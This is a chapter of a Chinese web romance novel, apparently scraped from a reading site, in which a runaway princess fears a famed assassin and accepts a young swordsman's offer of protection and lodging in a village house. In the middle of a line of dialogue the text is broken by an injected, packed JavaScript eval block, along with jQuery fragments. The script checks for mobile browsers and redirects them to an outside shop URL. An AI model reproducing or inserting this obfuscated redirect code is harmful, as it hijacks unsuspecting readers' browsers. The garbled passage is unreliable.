默认冷灰
24号文字
方正启体

4. 第 4 章

作者:如见风月本书字数:K更新时间:
    冷风拂过银杏林,吹得树枝簌簌作响。


    少年声音平淡,可说出的人名却犹如平地起惊雷。


    朏朏惊恐地瞪大了眼,眸中又惧又怕,磕磕绊绊道:“怎、怎么会是……”


    她一下就吓傻了,浑身一哆嗦,险些站不稳倒地。


    怀音喝完最后一口面汤,平静出声:“听说他就是国君派来找你的人选呢。”


    她甚少关注偏殿外发生的事情,但偶尔会从元良哥哥口中了解到一些,也知晓李断微是谁。


    李断微。


    而今江湖排行第一的杀手。


    无人知晓他的来历与相貌,只听说曾有委托人出高价换取自己仇人的皮囊,结果他真的一丝不苟,把整张人皮都完好无缺地送至委托人手中……


    甚至连一丝缺口都无……


    “哕——”


    胃里一阵翻腾,朏朏用力捂住嘴巴,试图制止不断传来的恶心感。


    但最令她感到震惊的,还是几年前,李断微曾孤身一人,潜入陈楚二国的王宫,将二位先王斩首于剑下,手法干净利落,皆是一刀毙命,当场死亡,事后却无一人知晓他离开的踪迹。


    此项王宫秘闻,还是某天夜里,她睡不着,缠着青玉姑姑问的,因为印象过于深刻,而至于一直念念不忘。


    说什么寻人非常专业,一派荒谬之言,父君这定是要杀了她!


    如果父君真是委托了李断微来找她……


    那她根本不可能跑掉!


    朏朏撑在桌面的手臂微微发抖。


    说不定,自己还会死在李断微的手上。


    她太了解父君了。


    现在父君还能稳居一国之君之位,就说明代替昭华公主嫁去陈国的,另有其人。


    父君如今对她的态度,大概是因为自己驳斥了他身为一国之君的脸面,令其颜面无存。


    恼羞成怒之下,父君大抵是不计她生死,也要找回她,以示国君威严……


    瞧着碗中还剩大半的馄饨,怀音问:“怎么,你不吃了吗?浪费粮食可不是什么好习惯。”


    浑身发抖,朏朏本能地害怕起来,尾音颤颤巍巍的:“既知道他,你如何吃得下去?”


    “为何吃不下?”


    怀音扬唇笑了下,神情无甚在意:“我都说了,只是听说而已。”


    他似乎心情不错,指尖把玩一枚银杏叶:“空穴来风,不一定真实的事情,也值得你害怕?”


    朏朏拧眉:“……”


    这人怎么这么讨厌!


    就非要讲这些个恐怖的人来吓她吗?


    攥紧双手,朏朏深呼吸几口,最后才问:“那你该如何送我上船去楚地?我可是给了报酬的。”


    音调特意在‘报酬’二字咬紧几分。


    怀音不应声,只笑了笑。


    脑中闪过一丝不祥的预感,朏朏涨红了脸,咬牙道:“你该不会是——?”


    想赖账吧?


    回想方才相处,朏朏便觉他信誉极差,根本没有青玉姑姑口中所说的寡言靠谱,反倒油嘴滑舌、一派混不吝的无赖模样。


    “当然不会。”


    怀音唇角噙笑,眉目间流露出几分温润多情,声音清朗:“来信说只需送上船即可,不若……你我同在此待到来年开春、江水破冰之时,为表诚意,到时候我亲自送去你去楚地,如何?”


    指尖轻敲桌面,怀音盯着朏朏看了会儿:“当然,银钱照旧,无需你多出。”


    朏朏抹着眼泪,委屈巴巴道:“你又打不过李断微……”


    万一李断微找到她,要将她带回去献给父君领赏,那可怎么办?她可是手无缚鸡之力的弱女子,又怎么能从鼎鼎有名又天下第一的李断微手中逃脱……


    风声肆虐,吹得她一头乌黑长发荡散在秋风中,有几缕扫过含水的湿濡双眼。


    怀音走至她面前,伸手拨开她有些凌乱了的额发,伏在她耳边说:“放心好了小公主,我在江湖上也算是略有薄名,并不惧那李断微,在此期间,我会负责保护你的安危。”


    他整理的动作很快,话说得亦是很快。


    就好像只是顺手的事情。


    说完后,怀音便礼貌退至几步外,等着她答复。


    落叶寂寂而坠,窸窸窣窣。


    朏朏垂着眼,视线在他手上打转。


    他生了双好看的手,修长如竹,像极了那些为父君攥册写书的门客,但虎口处却生有长久习武而造成的粗茧。


    朏朏抿了抿唇,心绪空空。


    平心而论,很诱人的条件。


    有人能在乘船途中一直保护她。


    可怀音他……


    真的能相信吗?


    忽想起方才少年倾身时带来的淡淡皂角香,朏朏想。


    似乎也没有别的选择了。


    她其实没有特别想去的地方。


    之所以将终点定于楚地,只因幼时听青玉姑姑说过她在楚地的韵事。


    春岸又绿时,一夜风欺竹。


    云泽柔美,梦泽磅礴,皆是梁国内不可多见的风景。


    朏朏仰着脸,眼睫眨了眨,语调轻而软:“怀音,我可以相信你吗?”


    少女梨涡浅淡,里头仿佛盛满醉人的桃花酿,很是漂亮。


    二人四目相对。


    相互凝视片刻,怀音错开眼,低声笑了笑:“自然是可以的,我很有职业操守。”


    朏朏闭了闭眼,决定放弃挣扎。


    她垂着脑袋,从毛驴背上取来半个包裹,递给他:“那这段时间就麻烦你了……”


    接过包袱,怀音顺手掂掂。


    还挺有分量的。


    他想。


    随意掠了眼早已凉透的馄饨,怀音往那处示意般扬了扬下巴:“馄饨还吃不吃了?”


    朏朏别过脑袋,发间绢花玉蕊一甩一甩的:“不吃了。”


    她哪还有这个胃口。


    方才气都要气饱了。


    “行,那你别后悔。”


    怀音无所谓地耸肩:“我不会大半夜起来帮你准备吃的。”


    朏朏斥声反驳:“我像是那种人吗?!”


    她就算饿死在这,也绝不会半夜起来麻烦怀音的。再说了,大半夜叫人起床为她准备夜宵什么的,也太失礼了!


    怀音笑着看她:“怎么不叫怀音哥了?”


    收拾包袱的动作一顿,朏朏扁扁嘴,没理他的话。


    她小半张脸都埋在毛绒软的围脖里,只露出一双使劲瞪他的眼睛,映衬柔和日光,蕴出层层亮色。


    怀音心情颇好:“这就生气了啊?”


    这人竟还有脸问……?


    真是岂有此理!


    朏朏率先迈开步子,牵着毛驴,以一种大无畏的姿势向前猛冲,却没成想后领被人一把攥住,硬生生止住步伐。


    不想同他多说一句话,她如只被扼住喉咙、使劲往前扑腾的鹅,试图挣开后领处的手。


    直至浑身冒出一层汗,朏朏累得手脚发酸,这才扭头怒视他:“干什么!”


    怀音优哉游哉看她:“你要去哪?”


    “去找这几个月住的客栈啊。”


    朏朏反问:“不然我睡哪呢?”


    总不能两个人到外头同流浪汉似的睡桥洞吧?


    这样想想,那也太惨了。


    朏朏嘀咕几句:“不知道钱够不够……”


    只是住客栈的话,要花好多银钱,也不知道她包里的金玉够不够怀音去换钱。她花不出去,这些掮客手段那么多,肯定能花得出去。


    “我在村里租了个宅子。”


    怀音松开手:“去那住。”


    听到怀音的话,朏朏脸上紧绷的表情总算缓和下来。


    好好好,不用花她的钱了。


    “事后记得付我一半租金,拢共二十两银子,给你打个折,付九两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024648|194336||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    五钱就行。”


    朏朏:“……”


    服了,这折扣跟没打有什么区别?


    她深吸一口气,没关系,钱迟早都要花出去的,这样明码标价事先说好,也好过到时候离开时坐地起价。


    她颇为珍惜地拍了拍小包裹,矜持颔首:“那你带路。”


    随手将包裹往后一背,怀音语调懒洋洋的:“怎么不叫怀音哥了?”


    “我想怎么叫……”


    可转念一想,她上船前的吃喝住行都得仰仗面前这人……


    朏朏磨磨后牙,不情不愿叫了一句:“……怀音哥。”


    怀音看她一眼:“气性还挺大。”


    朏朏瞪圆眼:“你话怎么这么多!”


    ……


    直至一座瞧着颇有野趣的小院出现在眼前,朏朏这才停下一路的碎碎念。


    一个四面用人高竹篱笆合围着的小院,就是看着光秃秃的,除却青瓦白墙外,就没别的颜色了。


    利落甩下身后一人一驴,朏朏推开院门,如一阵风似的,欢快跑到里头。


    跑到水井处,嗅着井水里的甘甜气息,试图推推绞盘上的手柄。


    推动未果,朏朏放弃了。


    以她的力气,估计也就只能摇一小桶的水上来。


    端详萧朏闹腾的模样,怀音闭了闭眼,寻思着自己是不是带了个麻烦回来……


    盯着檐下一家三口的燕子窝,朏朏摩挲下巴,冥思苦想片刻,忽而眼前一亮。


    “这里可以吃完饭后晒太阳。”


    她朝怀音比划了一下大概的位置,“搬两张竹椅,铺上软垫,软垫最好是用刚晒好的棉花缝的,这样子躺着晒太阳最舒服。”


    怀音敷衍点头:“嗯嗯嗯,好好好。”


    吹掉台阶上的灰尘,朏朏捋平股下裙子坐好,手指着院中几块空地:“青玉姑姑说,空地可以圈着养小鸡小鸭,然后我在边边上再开一块菜地,种点白菜胡萝卜给阿呆吃。”


    宛若附和般,毛驴长长叫了声,似乎非常满意她的说法。


    像是想起什么,朏朏拿起一根枯树枝,这里比比那里划划:“要是这里能架个葡萄藤木架子就好了,元良哥哥在宫里头架了个牵牛花架,韩先生说什么‘青裙竹笥何所嗟,插髻烨烨牵牛花’,还夸他很有高雅之风。”


    “但是慧真姐姐嫌弃它只长花不结果,葡萄架就很不错,这样夏天晚上乘凉观星时还能吃上葡萄。”


    “还有还有,这里也要种点花,虽然不结果,但花还是很养眼……”


    见她愈发沉浸于幻想,怀音沉吟片刻,道:“你只在这里住到开春。”


    忽地,朏朏停下动作。


    嘴巴微不可察顿了顿,止住话头,“喔……”


    她轻声喃喃,道:“不好意思啊怀音哥,给你添麻烦了……”


    少女眼睫颤动,猫儿似的眸水光盈盈的,嫣红的唇也轻启着。


    一幅伤心难过的意态,叫人心头一紧。


    甚至让怀音都不禁开始怀疑自己方才的话是否说得太过,惹得小女娘伤心了。


    正欲说些什么安慰她的话,他便耳尖听见她小声叨叨:“切,我自己偷偷搞,种出的菜我自己吃,种出的花我自己插,才不要给你呢,你就等着饿死吧——!”


    怀音:“……”


    后面的他没特意去听了,只是瞧着表情,似乎骂得有点脏。


    “在嘀嘀咕咕些什么东西?”


    朏朏在背地里悄悄翻了个白眼:“别管,反正不是你能听的小话。”


    除此以外,她还得快些摸清楚济光村里的人。到时候要是饿肚子了,去讨口饭吃也不至于很艰难。


    想到这,朏朏小声嘿嘿嘿地笑着,径自沉浸在自己美好的幻想中。


    看着朏朏,怀音沉默几息。


    他是否要去请个师傅过来做法?还是说请个大夫,看看这小公主是不是有些许毛病……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)